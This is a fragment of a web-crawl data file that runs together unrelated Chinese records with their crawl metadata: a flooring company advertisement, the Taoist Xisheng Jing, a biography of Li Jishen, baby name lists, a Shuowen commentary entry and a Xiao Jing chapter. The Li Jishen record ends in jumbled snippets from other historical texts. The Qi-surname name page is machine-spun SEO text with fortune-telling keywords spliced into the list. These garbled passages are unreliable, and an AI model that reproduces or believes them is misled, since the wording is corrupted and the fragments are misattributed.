瀏陽\n河南馬普實業有限公司是集地坪咨詢、研發、生產、銷售、施工、設計、售后為一體的企業,注冊資金1000萬,專業承接環氧地坪漆全系列、密封固化地坪全系列、金剛砂(金屬、非金屬)耐磨地坪、廠房地面翻新施工、防靜電地坪、水泥地面修補、硅PU、PU球場、PVC地坪、水磨石地坪、無塵凈化工程施工。本著\"高技術、高投入、高質量、高管理\"的現代策略為客戶服務,以客戶需求為導向,以質量信譽求生存,以不斷創新求發展,以合法經營創佳績,以確保向客戶提供最專業的地坪工程整體解決方案! 地坪適用范圍:工業地坪、車間地坪(紡織廠、汽車4S店、機械廠、制衣廠、啤酒廠、塑膠廠、造煙廠、包裝廠、食品加工廠、塑膠五金模具廠、屠宰廠及工業倉庫);物流倉庫、地下車庫、混凝土碼頭、超市、醫院、學校、體育場、機場、道路、混凝土橋梁、混凝土墻面。 公司自成立以來,憑借精湛的專業技術,優良的施工品質,完善周到的售后服務,已經有近200萬平米的工程案例。在同行業和客戶之間樹立了良好的信譽和口碑。建立了一支能吃苦耐勞、經驗豐富的優良施工隊伍,先后承攬過多項重點工程。工程質量得到了社會各界的廣泛贊譽和肯定。 我公司根據多年積累的施工設計經驗和現場施工管理經驗,以及最用心的售后保障服務,嚴格按照IS9001質量管理體系和IS14001環境管理體系標準為您提供最適合您的服務!","id":"","dump":"CC-MAIN-2021-43","url":"http:\/\/www.hj7433.com\/webdir\/diqu\/141-1.html","date":"2021-10-23T11:27:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585671.36\/warc\/CC-MAIN-20211023095849-20211023125849-00140.warc.gz","language":"lzh","language_score":0.6915034652,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.6915034651756287, \"nan_Hani_score\": 0.17558544874191284, \"cmn_Hani_score\": 0.1274743378162384}","num_words":742,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.287,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.706,"perplexity_score":500.0,"cluster_detection":1} +{"text":"西昇章第一\n老君西昇。開道竺乾。號古先生。善人無為。不終不始。永存綿綿。是以升。就道。經歷關。關令尹喜。見氣。齋待遇。賓為說道德。列以二篇。告以道要。云道目。然行者能得。聞者能言。知者不言。言者不知。所以言者。以音相聞。是故談以言相然。不知道者。以言相煩。不聞不言。不知所由然。譬如知音者。識音以弦。心知其音。口不能傳。道深微妙。知者不言。識音。聲悲抑音。內惟心令口言。言者不知。\n道深章第二\n老君曰。道深甚奧。虛無之淵。子雖聞道。心不微丹。所以然者。何書不盡言。著經處。文學以相然。子當寶之內念思。惟自然之道不與子期。喜則稽首再拜。敢問學之奈何。\n善為章第三\n老君曰。善為書術者。必綏其文。善論。達其事者。必通其言。勉而勤之。得道矣。為正無處。正自歸之。不受於邪。邪氣自去。所謂無為。道自然助。不善於祀。鬼自避之。不勞於神。受命無期。無進無退。誰與為謀。\n慎行章第四\n老君曰。慎而行之。寶而懷之。吾將遠逝。不期自會。尹喜受言誠深。則於關稱疾。棄位獨處空閒之室。恬淡思道。歸志守一。極虛本無。剖析乙密。觀縷妙言。內意不出。誦文萬過。精誠思徹。行真歸身。能通其玄。論無極之原。故能致神仙。\n道象章第五\n老君曰。道相無形。端恍惚。亡若存。譬如種木。未生不見枝葉根。合會地水風火四時氣往緣。氣為生者地。聚合凝稍堅。味異行不等。甘苦辛鹹酸。氣行有多少。強弱果不均。同出異名色。各自生意因。從是異性行。而有受形身。含養陰陽道。隨所依為親。生道非一類。一切人非人。本出於虛無。本出於虛無。感激生精神。譬如起音者。掇弦手動。傳宮商角徵羽。口氣呼翕元。身口意為本。道出上首。元本靜在虛靜。故曰道自然。五音所動搖。遂與樂色連。散陽以為明。佈氣成六根。從是有生死。道遂散佈分。去本而就末。散樸以澆淳。道變示非常。欲使歸其真。\n生道章第六\n老君曰。告子生道本。示子之自然。至於萬物生情。行相結連。如壞復成。如滅復生。以成五行。陰與陽并。輾轉變化。遂為物精。吾思是道。本出窈冥。愚不別知。自謂適生。子無道眼。安知生靈。天地人物。虛無囊盈。一從無生。同出異名。是亦本非。在所用正。所字非字。乃知其誠。當與明議。勿與愚爭。子取正教。勿信邪聽。何以知邪。子為物傾。何以知愚。不察言情。為道問道。為經問經。問不本末。知愚冥冥。但知求福。不知罪嬰。但知養身。不知戮形。嬰兒之姿。貴養厚敦。忽無就形。知非常生。無履大白。可令永存。有何妙意。乃欲相傾。父子恩深。不是相聽。勿復噭慨。遠近笑人。掩惡揚善。君子所宗。\n邪正章第七\n老君曰。邪教正言。悉應自然。故有凶吉。應行種根。如有所受。種核見分。道別於是。言有偽真。偽道養形。真道養神。真神通道。能亡能存。神能飛形。并能移山。形為灰土。其何識焉。耳目聲色。為子留愆。鼻口所喜。香味是怨。身為惱本。痛痒寒溫。意為形思。愁讀憂煩。吾拘於身。知為大患。觀古視今。誰存形完。吾尚白首。衰老熟年。吾本棄俗。厭離世間。抱元守一。過度神仙。子未能守。但坐榮官。子能不動。神靈得安。子能捐欲。舉事能全。子能無為。知子志堅。今為子說。露見敷陳。散析剖判。真偽別分。子當諦受。重道因勤。道為明出。經為學先。授與能行。不擇富貧。教化與樂。非有疏親。取與能行。文與其人。學爾教爾。不師道真。\n天地章第八\n老君曰。天地與人物。本皆道之元。俱出於太素。虛元之始端。髣弗之精光。微妙上玄。譬如萬里坑。下有淡流泉。視之甚濁微。徹見底沙難。窈窈而冥冥。不知所由然。亦如終逝者。不見其靈魂。淳陰共和合。陽不能顯分。過往與甫來。視譬以見前。尚不能了理。安能知亡存。譬如瘖啞者。不能傳人言。為聾彈宮商。其人豈能聞。才辯有其智。受教如語傳。自謂通其情。情衷不能丹。是故失生本。安能知道元。\n行道章第九\n老君曰。子若行吾道。當知上慧源。智亦不獨生。皆須對因緣。各有行宿本。命祿之所聞。同道道得之。同德有德根。宿世不問學。今復與失鄰。是以故得失。不樂於道文。貪欲利榮寵。受施念恩勤。更以財相厚。不哀下窶貧。必復多瞋恚。無所處定原。學不得名師。安能解疑難。吾道如毫毛。誰當能明分。上世始以來。所更如沙塵。動則有載劫。自惟甚苦勤。吾學無所學。乃能明自然。華要歸其實。莖葉如本根。為道歸祖首。以知元始端。子當無相啟。勿以有相關。\n重告章第十\n老君曰。吾重告子。子當諦受。道以無為上。德以仁為主。禮以義為謙。施以恩為友。惠以利為先。信以效為首。偽世亦有之。雖有以相誘。是以知世薄。華飾以相拊。言出飛龍前。行在跛鱉後。仁義禮信廢。道德荒亡腐。不以道相稽。反以財相輔。譬如鑑中影。可見不可取。言如響中應。風聲豈可聚。偽世教如此。如是迷來久。天下之人物。誰獨為常主。迷迷以相傳。輾轉相授與。邪偽來入真。虛無象如有。自偽不別真。為貪利往首。非常正復亡。癡盲持自咎。如木自出火。還復自燒腐。\n聖人之辭章第十一\n老君曰。聖人之辭云。道當以法觀。如有所生者。故曰為自然。眼見心為動。口則為心言。鼻為通風氣。鼻口風氣門。喘息為宅命。身壽立息端。譬如穀草木。四時氣往緣。氣別生者死。增減嬴病勤。以是生死有。不如無為安。無為無所行。何緣有咎愆。子不貪身形。不與有為怨。五行不相剋。萬物悉可全。萬物無有常。成者不久完。三光無明冥。天地常昭然。\n觀諸章第十二\n老君曰。觀諸次為道。存神於想思。道氣和三光。念身中所治。彷彿向夢寐。神明忽往來。淡泊志無為。念思有想意。自謂定無欲。不知持念異。或氣尚麤盛。自知尚多事。事興則形動。動則外通謀。謀司危之首。危者將不久。不久將欲衰。衰者將不壽。以身觀聲名。物事難可聚。以名聲稱號。必為是所誘。皆坐於貪欲。貪欲為殃咎。貪者為大病。習貪來已久。合會微漸滋。非鍼艾所愈。還身意所欲。清靜而自守。大聖之所行。不慕人所主。有常可使無。無常可使有。\n經戒章第十三\n老君曰。經戒所言。法義所推。赫赫興盛。不如微妙。實不如虛。數不如希。邪多卒驗。急不如遲。興者必廢。盛者必衰。聖人絕智。而為無所為。言無所言。行無所施。孰能知此。偶不如奇。多不如寡。孰賢難隨。孰仁難可。其義少依。能知無知。道之樞機。空虛滅無。何用仙飛。大道曠盪。無不制圍。子能明之。所是反非。經言審諦。孰之能追。\n深妙章第十四\n老君曰。道言深妙。經誡乙密。天地物類。生皆從一。子能明之。為知虛實。子若不照。顯之不別。子志於有。無為所疾。為有所嬰。億載無畢。道言微深。子未能別。撮取於略。戒慎勿失。先捐諸欲。勿令意逸。閑居靜處。精思齋室。丹書萬卷。不如守一。經非不達。中有虛實。言有必無。子未能別。言無必有。子未能決。但當按行。次來次滅。道有真偽。福有凶吉。罪有公私。明有纖密。占往知來。不如樸實。\n虛無章第十五\n老君曰。虛無生自然。自然生道。道生一。一生天地。天地生萬物。萬物抱一而成。得微妙氣化。人有長久之寶。不能守也而益欲尊榮者。是謂去本生天地之道也。\n恍惚章第十六\n老子曰。虛無恍惚道之根。萬物共本道之元。在己不忘我默焉。\n生置章第十七\n老子曰。生我於虛。置我於無。生我者神。殺我者心。夫心意者。我之所患也。我即無心。我何知乎。念我未生時。無有身也。直以精氣聚血。成我身耳。我身乃神之車也。神之舍也。神之主人也。主人安靜。神即居之。躁動神即去之。是以聖人無常心者。欲歸初始。反未生也。人未生時。豈有身乎。無身當何憂乎。當何欲哉。故外其身。存其神者。精耀留也。道德一合。與道通也。\n為道章第十八\n老子曰。古之為道者。莫不由自然。故其道。常然矣。強然之。即不然矣。夫何故哉。以其有思念。故與道反矣。是以橐籥之器。在其用者。虛實有無。方圓大小長短廣狹。聽人所為。不與人爭。善人在於天下。譬如橐籥乎。非與萬物交爭。其德常歸焉。以其虛空。無欲故也。欲者凶害之根。無者天地之原。莫知其根。莫知其原。聖人者。去欲入無。以輔身也。是以善吾道者。即一物中。知天。盡神。致命。造玄。學之徇異名。析同實。得之契同實。忘異名。\n色身章第十九\n老君曰。人皆以聲色滋味為上樂。不知聲色滋味。禍之太樸。故聖人不欲。以歸無欲也。\n道虛章第二十\n老君曰。道者虛無之物。若虛而為實。無而為有也。天者。受一氣。蕩蕩而致清。氣下化生於萬物。而形各異焉。是以聖人。知道德混沌。玄同也。亦如天地清靜。皆守一也。故與天地同心而無知。與道同身而無體。而後天道盛矣。以制志意。而還思慮者也。去而不可逐。留而不可遣。遠者出於無極之外不能窮也。近在於己。人不見之。是以君子。終日不視不聽。不言不食。內知而抱玄。夫欲視亦無所見。欲聽亦無所聞。欲言亦無所道。欲食亦無所味。淡薄寂哉。不可得而味也。復歸於無物。若常能清淨無為。氣自復也。返於未生。而無身也。無為養身。形體全也。天地充實。常保年也。\n哀人章第二十一\n老子曰。人哀人。不如哀身。哀身不如愛神。愛神不如舍神。舍神不如守身。守身長久長存也。\n神生章第二十二\n老子曰。神生形。形成神。形不得神不能自生。神不得形不能自成。形神合同。更相生。更相成。神常愛人。人不愛神。故絕聖棄智。歸無知也。\n常安章第二十三\n老子曰。聖人常安。與天地俱安。而鬼神通。眾人皆安其所不安。即不安矣。蓋天道減盈滿。補虛空。毀強盛。益衰弱。損思慮。歸童蒙。塞邪智。聖人之樸也。是以天下尚存。可謂養母。尚能愛母。身乃久長。\n身心章第二十四\n老子曰。身之虛也。而萬物至。心之無也。而和氣歸。故善養身者。藏身於身而不出也。藏人於人而不見也。故君子之治。必先死於國。既死不亡。其國盛也。民不敢散。更復充也。若能知常。施行反也。眾人歡樂。用生生也。動而失之。壽命竭也。夫天下大物哉。甚綿綿也。冥冥混混。不可知也。知者去之。欲者離之。近者遠之。是以聖人非託於天下。亦非託於鬼神。亦非託於萬物。常以虛為身。亦以無為心。此兩者。同謂無身之身。無心之心。可謂守神。守神玄通。是謂道同。\n無思章第二十五\n老子曰。智士無思。無慮之變。常空虛。無為。恬靜。修其形體。而萬物育焉。變者貪天下之珍。以快其情。然後兵革四起。禍生於內。國動亂者。而民疲勞也。夫國以民為本。民勞去者。國立廢矣。所謂出其無極之寶。入賊利斧戟也。故曰。子能知一萬事畢。無心德留。而鬼神伏矣。\n我命章第二十六\n老子曰。我命在我。不屬天地。我不視不聽不知。神不出身。與道同久。吾與天地分一氣而治。自守根本也。非效眾人行善。非行仁義。非行忠信。非行恭敬。非行愛欲。萬物即利來。常淡泊無為。大道歸也。故神人無光。聖人無名。\n兵者章第二十七\n老子曰。夫兵者。天下之大凶事也。非國之寶。寶之者而不用也。用之者。動有亡國失民之患也。是以聖人懷微妙。抱質樸而不敢有為。與天下交爭焉。雖有猛獸不能據也。雖有蜂蠆蟲蛇。不能螫也。雖有兵刃。不能害也。\n柔弱章第二十八\n老子曰。天下柔弱。莫過於一氣。氣莫柔弱於道。道之所以柔弱者。包裹天地。貫穿萬物。夫柔之生剛。弱之生強。而天下莫能如其根本所以從生者乎。是故有以無為母。無以虛為母。虛以道為母。自然者。道之根本也。\n民之章第二十九\n老子曰。民之所以輕命早終者。民自令之耳。非天地毀。鬼神害。以其有如。以其形動故也。是故無有生有。無形生形。何況於成事而敗之乎。人欲長久。斷情去欲心意以索命。為反歸之。形神合同。固能長久。\n天下章第三十\n老子曰。人雖在天下。令意莫在天下。人雖在國。令意莫在國。人雖在鄉。令意莫在鄉。人雖在家。令意莫在家。神雖在身。令神莫在身。是謂道人。\n意微章第三十一\n老子曰。患生不意。禍生絲微。善生於惡。利生於害。大生於小。難生於易。高生於下。遠生於近。外生於內。貴生於賤。動生於安。盛生於衰。陰生於陽。是故有無之相生。虛實之相成。是以有歸有。無歸無也。\n在道章第三十二\n老子曰。人在道中。道在人中。魚在水中。水在魚中。道去人死。水乾魚終。故聖人自知反歸未生。捐棄憍奢。絕除憂思。是故形隱神留。天下歸焉。無為無事。國實民富。保道畜常。是謂玄同。\n有國章第三十三\n老子曰。有國者。其根深也。天地覆載。萬物畜養。金玉重寶。不積留也。夫外天地者。有天地。外其身者。而壽命存也。是以君子善人之所不善。喜人之所不喜。樂人之所不樂。為人之所不為。信人之所不信。行人之所不行。是以道德備矣。\n皆有章第三十四\n老子曰。道非獨在我。萬物皆有之。萬物不自知。道自居之。眾人皆得神而生。不自知神自生也。君有德於百姓。百姓不自知受君之德也。是故聖人藏神於內。魄不出也。守其母。其子全。而民熾盛。保某國也。玄虛積充。壽命長也。人能徒知天地萬物。而不自知其所由生。反命歸本。是大不知也。\n治身章第三十五\n老子曰。治身之道。先隱天地。靜居萬物之始。夫聖人通玄元。混氣思。以守其身。俗人以情愛貪欲。以守其身。此兩者。同有物而守其身。其道德各異焉。\n道德章第三十六\n老子曰。道德天地水火萬物高山深淵。各有所歸之。夫道非欲於虛。虛自歸之。德非欲於神。神自歸之。天非欲清。清自歸之。地非欲濁。濁自歸之。濕非欲於水。水自歸之。燥非欲於火。火自歸之。萬物非欲見其形。形自見之。高山大澤。非欲飛鳥虎狼。飛鳥虎狼。自來歸之。深淵河海。非欲魚鱉蛟龍。魚鱉蛟龍。自來歸之。人能虛空無為。非欲於道。道自歸之。由此觀之。物性豈非自然哉。\n善惡章第三十七\n老子曰。百姓行善者。我不知也。行惡者。我不知也。行忠信者。我不知也。是以積善善氣至。積惡惡氣至。是以聖人言我懷天下之始。復守天下之母。而萬物益宗以活其身。吾意常不知。安能知彼行善惡焉。積善神明輔成。天道猶祐於善人。\n寂寞第三十八章\n老子曰。吾道淡泊寂。意死者。生靜而復命也。生生積浸潤。滋酌留滯。玄冒沾洽。元氣包之。其根益深。乃四固。中無心。故能致萬物精華。無極之物。自然來歸之。以其空虛無欲故也。\n戒示章第三十九\n老子曰。喜。吾重告爾。古先生者。吾之身也。今將返神。還乎無名。絕身滅有。綿綿長存。吾今逝矣。亦返一原。忽焉不見。斯須館舍光炎。五色玄黃。喜出中庭。叩頭曰。願神人一見。授以一要。得以守元。即仰視。都懸身坐空中。去地數十丈。其狀金人。存亡恍惚。老少無常。曰。吾重誡爾。爾其守焉。除垢止念。靜心守一。眾垢除。萬事畢。吾道之要誡。警見即隱。喜不知所之。泣涕追慕。退官託疾。棄念守一。萬事畢矣。\n西昇經 終","id":"","dump":"CC-MAIN-2021-43","url":"http:\/\/www.taolibrary.com\/category\/category86\/c86025.htm","date":"2021-10-27T00:06:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587963.12\/warc\/CC-MAIN-20211026231833-20211027021833-00066.warc.gz","language":"lzh","language_score":0.3918290734,"language_script":"Hani","minhash_cluster_size":12,"top_langs":"{\"lzh_Hani_score\": 0.39182907342910767, \"cmn_Hani_score\": 0.2949596047401428, \"nan_Hani_score\": 0.11697914451360703, \"wuu_Hani_score\": 0.045133158564567566, \"jpn_Jpan_score\": 0.04333991929888725, \"yue_Hani_score\": 0.022849511355161667, \"zxx_Latn_score\": 0.01392162311822176}","num_words":80,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.188,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.392,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ⓘ 李濟深\n李濟深 ,原名 李濟琛 ,字 任潮 ,廣西梧州人也。生於一八八五年,歷任黃埔軍校副校長、中華共和國主席、中華人民共和國副主席等。\n1. 生平\n一九二五年任國民革命軍第四軍軍長。\n一九二七年從蔣中正反共。\n一九三三年,與蔡廷鍇謀反蔣抗日,於福建建中華共和國革命政府。\n一九五九年十月九日,歿於北京,年七十四。\n- 中華共和國 立於西元一九三三年十一月廿二日 至次年元月十三日中央軍入福州 國祚五十餘日 自稱福建人民政府 政府主席 李 濟 深 執政黨 生產人民黨 一九三三年 東南閩變 李 濟 深 陳銘樞之倫並十九路軍立國福州 庶幾抗蔣保夏 力克倭寇 而各方之與共和國爭鬩也甚多 中華共和國一文似未成 宜善之\n- 深 探本元 卓然樹立 成一家言 其 原道 原性 師說 等數十篇 皆奧衍閎 深 與孟軻 揚雄相表裏而佐佑 六經 云 至它文 造端置辭 要為不襲蹈前人者 然惟愈為之 沛然若有餘 至其徒 李 翱 李 漢 皇甫湜從而效之 遽不及遠甚 從愈游者 若孟郊 張籍 亦皆自名於時 蘇軾稱曰 文起八代之衰 而道 濟\n- 濟 坊 賊轉入坊內傷其首 以帽厚 得免 由是入相 掌討平節度諸鎮事 元和十二年 李 逢吉以官軍討淮西吳元 濟 四年 無功 軍民積弊 請罷兵 時唯度默然不應 憲宗怪而問之 度遂申親赴督戰之意 曰 臣誓不與此賊俱生 若賊滅 則朝天有期 賊在則 歸闕無日 帝聞之 為之改容流涕 出 李\n- 聞敗 皇太后命郕王臨國 九月 郕王即帝位 遙尊帝為太上皇帝 立英宗長子朱見 深 為皇太子 于謙等數敗瓦刺師 景泰元年 瓦刺遺使請和 八月 英宗南返 景帝恐英宗還鑾 將其幽錮南宮 防備甚密 景泰三年五月廢太子見 深 為沂王 立皇子見 濟 為皇太子 翌年太子薨 景泰八年正月 景帝與疾宿南郊齋宮 群臣請建太子 不聽\n- 元氏 玄宗追尊其為恭皇后 李 璡 封汝陽郡王 曆太僕卿 特進 卒贈太子太師 李 嗣莊 封 濟 陰王 早卒 李 琳 封嗣寕王 曆秘書員外監 李 璹 封嗣申王 李 珣 封同安郡王 贈太子少保 李 瑀 官至特進 試太常卿 封漢中王 曾送寕國公主至回紇 李 玢 封蒼梧郡開國公 曆銀青光祿大夫 秘書監員外置同正員 卒贈江陵大都督 李 珽 封晋昌郡開國公\n- 民心 戰四年 逐中華民國於臺灣 兩岸遂分治至今 乃行政治協商 約法中國政治協商共同綱領者 推澤東為中央人民政府主席 朱德 劉少奇 宋慶齡 張瀾 李 濟 深 高崗領副主席 一九四九年十月一日 中華人民共和國立 都北平 改北京 更以公曆紀年 一九五零年 朝鮮戰爭起 朝鮮亦社會主義國也 時美軍號為聯合國\n- 玄旣遷 司馬師代爲護軍 護軍總統諸將 任主武官選舉 前後當此官者 不能止貨賂 故蔣 濟 爲護軍時 有謠言 欲求牙門 當得千匹 百人督 五百匹 司馬懿與 濟 善 聞以問 濟 濟 無以解之 因戲曰 洛中市買 一錢不足則不行 遂相對歡笑 玄代 濟 故不能止絕人事 及師之代玄 整頓法令 人莫犯者\n- 杜夫人 子 魏沛穆王 林 子 魏中山恭王 袞 妾 秦夫人 子 魏 濟 陽懷王 玹 子 魏陳留恭王 峻 妾 尹夫人 子 魏范陽閔王 矩 妾 王昭儀 子 魏趙王 幹 妾 孫姬 子 魏臨邑殤公子 上 子 魏楚王 彪 子 魏剛殤公子 勤 妾 李 姬 子 魏穀城殤公子 乘 子 魏郿戴公子 整 子 魏靈殤公子 京 妾\n- 及清帝遜位 民國初立 勳謀復清室 乃於十二月廿六 以兵六千 合安徽布政使倪嗣沖之眾 據津浦鐵路以擊南京 穎州 盱眙 亳州 宿遷 正陽關 宿州 固鎮 壽州皆陷 事聞廣東 北伐軍委 李 濟 深 為司令 林震為前敵總指揮 渡江北上以救之 民國元年二月三日 敗勳於固鎮 勳走徐州 遣使求和 二月十日 勳使者與北伐軍會於符離集車站 謀談判 不果 北伐軍克徐州 勳走兗州 復奔濟南","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/google-cn.info\/83430\/1\/%E6%9D%8E%E6%BF%9F%E6%B7%B1.html","date":"2021-12-03T04:51:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362589.37\/warc\/CC-MAIN-20211203030522-20211203060522-00297.warc.gz","language":"lzh","language_score":0.6951349378,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6951349377632141, \"cmn_Hani_score\": 0.16065090894699097, \"nan_Hani_score\": 0.14233213663101196}","num_words":304,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.046,"flagged_words_ratio":0.0,"lang_id_score":0.744,"perplexity_score":500.0,"cluster_detection":1} +{"text":"猴宝宝取名大全,真是太全啦!\n(一)猴年女宝宝起名大全\n安雅 安辰 安嘉 安晶 安莉 安瓃 安蕾 安菡 安琳 荌莹 奥玉 奥冰 安枫 北吉 北静 北娜 贝妮 贝丽 琲琪 蓓然 碧娴 碧祯 碧荌 碧婷 冰维 冰奥 冰偲 冰莲 冰薇 冰文 冰萱 博莹 博丽 博静 布萱 布妍 布灿 布娟 偲洁 采蓝 采心 采彦 采敏 彩雅 彩凡 彩侬 灿欣 婵衣 畅娥 畅然 唱丹 朝红 朝彤 琛雨 黛畅 丹月 丹旭 丹丽 丹娜 笛霈 典雅 典方 蝶春 丁菲 丁芳 冬馥 端蓉 端熙 端芬 端燕 端洲 多雪 朵雅 婀溪 恩韵 尔丽 璠瑜 方雅 方雅 方仪 芳梦 芳蔼 芳兰 芳辰 芳梅 芳雨 芳泽 芳阑 芳洁 芳云 芳韵 芳菲 芳格 芳菲 芳兰 芳香 芳韵 芳懿 飞思 飞儿 甘华 甘蕙 高林 歌洁 歌苓 歌荃 格蕤 格润 葛馨 古懿 古茵 古泽 谷雪 谷梅 瑰洁 桂慕 桂岚 桂丽 桂洁 桂月 海玉 海女 含玮 含帆 含枫 含华 含月 含芝 晗乐 涵美 涵瑞 涵璧 寒梅 菡儿 好娇 好景 浩文 浩香 皓秀 皓玉 合悦 合英 合菡 和韵 吉文 吉妍 吉悦 吉美 吉欣 吉馨 吉宝 季惠 霁丽 佳美 佳禾 佳淑 佳帆 佳玟 佳敏 家欣 家星 家玉 嘉月 嘉雅 嘉芸 嘉惠 嘉美 嘉思 可英 可月 可泽 可芝 可翠 琨风 琨岚 兰尹 兰丽 兰宁 兰然 兰然 兰可 兰儿 兰佳 兰嘉 岚心 岚瑶 岚瑜 蓝芳 朗蕙 朗梦 朗娜 乐若 玛珠 麦儿 曼菁 曼蔓 曼风 曼红 曼花 曼梅 曼青 曼雪 曼英 曼偲 曼丽 嫚冬 蔓丽 蔓心 梅妮 梅青 梅容 梅婉 梅文 梅吟 梅语 美云 娜洁 娜静 乃然 乃思 囡心 楠雪 妮雨 妮远 霓妞 旎绮 念暖 宁姝 凝兰 凝娜 凝蔓 凝欣 凝囡 凝楠 凝娜 凝子 妞云 浓旎 暖念 暖乐 盼和 沛惠 沛乐 沛良 佩宁 佩婉 佩晓 佩心 芃雅 彭莹 嫔雅 品韵 平盼 平若 平珊 平文 平兰 平杉 平玉 平珍 平芃 平丹 萍然 萍韵 齐丽 齐梅 其美 奇梦 奇思 奇文 颀艳 琦玉 琦云 琪秋 启叶 绮丽 绮敏 绮心 绮雨 绮思 绮文 绮颖 绮秀 绮巧 绮珍 千华 千颜 芊怀","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.pn75.com\/6614e9","date":"2022-05-20T00:39:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662530553.34\/warc\/CC-MAIN-20220519235259-20220520025259-00336.warc.gz","language":"lzh","language_score":0.4791746438,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4791746437549591, \"cmn_Hani_score\": 0.45762819051742554, \"nan_Hani_score\": 0.046402622014284134}","num_words":290,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.33,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.493,"perplexity_score":500.0,"cluster_detection":1} +{"text":"也字依水經注補。水經曰。瓠子河、出東郡濮陽縣北河。酈云。尙書雝沮會同。爾雅曰水自河出爲灉。許愼曰雝者、河雝水也。是酈意以瓠子河爲尙書之雝也。按自河出爲灉、濟爲濋、汶爲灛、洛爲波、漢爲濳、淮爲滸、江爲沱、濄爲洵、潁爲沙、汝爲濆、見於釋水。其見於說文者、則沱也、濳也、灉也、洵也。河之別爲灉、如江之別爲沱。沱非一沱、則灉亦非一灉。凡首受河之水皆可名之矣。\n說者以汳水當之。\n於容切。九部。","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.shuowen.org\/view\/7042?pinyin=yong","date":"2023-03-23T20:33:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945183.40\/warc\/CC-MAIN-20230323194025-20230323224025-00726.warc.gz","language":"lzh","language_score":0.5361297131,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5361297130584717, \"cmn_Hani_score\": 0.336254358291626, \"jpn_Jpan_score\": 0.03589601069688797, \"wuu_Hani_score\": 0.029757056385278702, \"yue_Hani_score\": 0.02567274495959282, \"nan_Hani_score\": 0.017839714884757996}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.198,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.536,"perplexity_score":500.0,"cluster_detection":1} +{"text":"孝经卿大夫章第四\n非先王之法服,不敢服。非先王之法言,不敢道。非先王之德行,不敢行。是故非法不言,非道不行,口无择言,身无择行,言满天下无口过,行满天下无怨恶。三者备矣,然后能守其宗庙,此卿大夫子孝也。诗云:夙夜匪懈,以事一人。","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.kepub.net\/book\/51015\/10004","date":"2023-09-24T01:15:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506539.13\/warc\/CC-MAIN-20230923231031-20230924021031-00668.warc.gz","language":"lzh","language_score":0.7695260048,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.7695260047912598, \"cmn_Hani_score\": 0.20723266899585724, \"nan_Hani_score\": 0.014906642958521843}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.834,"perplexity_score":500.0,"cluster_detection":1} +{"text":"齊姓女孩名字大全,齊姓女孩名字精選\n齊姓是一個常見的姓氏,人口分布也對照廣,重要在河南、東北地域人口對照會合,加起來也有一百七十多萬人。那麼接下來,不妨跟著小編來注目齊姓正印 八字的女孩名字大全吧,喜愛的友人也別忘了珍藏哦。 齊姓女孩名字大全 齊繹茹 齊易婷 齊譯媛 齊譯文 齊異玲 齊藝燕 齊藝艷 齊藝蓉 齊億文 齊旖玲 齊旖琳 齊倚潔 齊乙瓊 齊貽茹 齊怡之 齊怡甄 齊怡月 齊怡瀛 齊怡瀠 齊怡藝 齊怡憶 齊怡儀 齊怡煬 齊怡襲 齊怡紋 齊怡天 齊怡韜 齊怡仕 齊怡晟 齊怡人 齊怡玟 齊怡麟 齊怡剴 齊怡靖 齊怡晶 齊怡幻 齊怡焓 齊怡鉻 齊怡楓 齊怡豐 齊怡方 齊怡辭 齊怡艾 齊銥芳 齊猗萍 齊依紅 齊一悅 齊一媛 齊一花 齊葉英 齊葉瑤 齊葉文 齊耀芬 齊瑤曄五行 如何 算 齊瑤嫻 齊爻燕 齊腰花 齊燕真 齊燕月 齊燕宇 齊燕馨 齊燕昕 齊燕曦 齊燕西 齊燕雙 齊燕情 齊燕崎 齊燕銘 齊燕瀧 齊燕塏 齊燕暉 齊滟萍 齊滟麗 齊滟莉 齊雁茹 齊雁萍 齊焱瓊 齊晏紅 齊彥媛 齊彥妍 齊琰琳 齊衍文 齊衍婷出生 年 月 日 五行 齊研媛 齊言芳 齊妍予 齊妍瀛 齊妍瀠 齊妍嚶 齊妍艷 齊妍香 齊妍璺 齊妍童 齊妍薹 齊妍睿 齊妍蕊 齊妍蓉 齊妍人 齊妍晴 齊妍騫 小結:這些名字大家喜愛嗎?罷了算命 命 盤知足大家差異的需要,這此中一定有大家測 